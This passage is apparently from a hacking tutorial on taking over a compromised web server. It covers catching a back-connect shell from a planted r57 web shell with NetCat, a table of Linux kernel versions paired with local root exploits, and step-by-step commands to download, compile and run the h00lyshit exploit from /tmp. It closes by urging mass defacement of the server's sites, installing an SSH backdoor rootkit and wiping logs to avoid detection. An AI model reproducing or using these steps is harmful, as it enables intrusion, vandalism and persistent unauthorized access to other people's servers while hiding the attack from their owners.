way which is inside the shell (in our example the shell is r57).
Initially we open NetCat and give to listen in a specific port (this port must
be correctly opened/forwarded in NAT/Firewall if we have a router) with the
following way:
We will type: 11457 in the port input (This is the default port for the last versions
of r57 shell). We can use and other port.
We press in Windows Start -> Run -> and we type: cmd
After we will go to the NetCat directory:
e.g.
cd C:\Program Files\Netcat
And we type the following command:
nc -n -l -v -p 11457
NetCat respond: listening on [any] 11457 …
In the central page of r57 shell we find under the following menu::: Net:: and
back-connect. In the IP Form we will type our IP (www.cmyip.com to see our ip if
we have dynamic)
In the Port form we will put the port that we opened and NetCat listens.
If we press connect the shell will respond:
Now script try connect to <IP here> port 11457 …
If our settings are correct NetCat will give us a shell to the server
Now we wil continue to the Rooting proccess.
We must find a writable folder in order to download and compile the Local
Root Exploit that will give us root priviledges in the box. Depending on the version
of the Linux kernel there are different exploits. Some times the exploits fail to run
because some boxes are patched or we don’t have the correct permissions.
List of the exploits/kernel:
Code:
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
We will see the case of 2.6.8 Linux kernel. We will need the h00lyshit exploit.
We can find writable folders/files by typing:
find / -perm -2 -ls
We can use the /tmp folder which is a standard writable folder
We type: cd /tmp
To download the local root exploit we can use a download command for linux like
wget.
For example:
wget http://www.Example/localroot/h00lyshit.c
where http://www.Example.com/localroot/h00lyshit.c is the url of h00lyshit.
After the download we must compile the exploit (Read the instruction of the exploit
before the compile)
For the h00lyshit we must type:
gcc h00lyshit.c -o h00lyshit
Now we have created the executable file: h00lyshit.
The command to run this exploit is:
./h00lyshit <very big file on the disk>
We need a very big file on the disk in order to run successfully and to get root.
We must create a big file in /tmp or into another writable folder.
The command is:
dd if=/dev/urandom of=largefile count=2M
where largefile is the filename.
We must wait 2-3 minutes for the file creation
If this command fails we can try:
dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024
Now we can procced to the last step. We can run the exploit by typing:
./h00lyshit largefile or
./h00lyshit /tmp/largefile
(If we are in a different writable folder and the largefile is created in /tmp)
If there are not running errors (maybe the kernel is patched or is something wrong with
exploit run or large file) we will get root
To check if we got root:
id or
whoami
If it says root we got root!
Now we can deface/mass deface all the sites of the server or to setup a rootkit (e.g.
SSHDoor) and to take ssh/telnet shell access to the server.
We must erase all logs in order to be safe with a log cleaner. A good cleaner for this
job is the MIG Log Cleaner.
good luck :P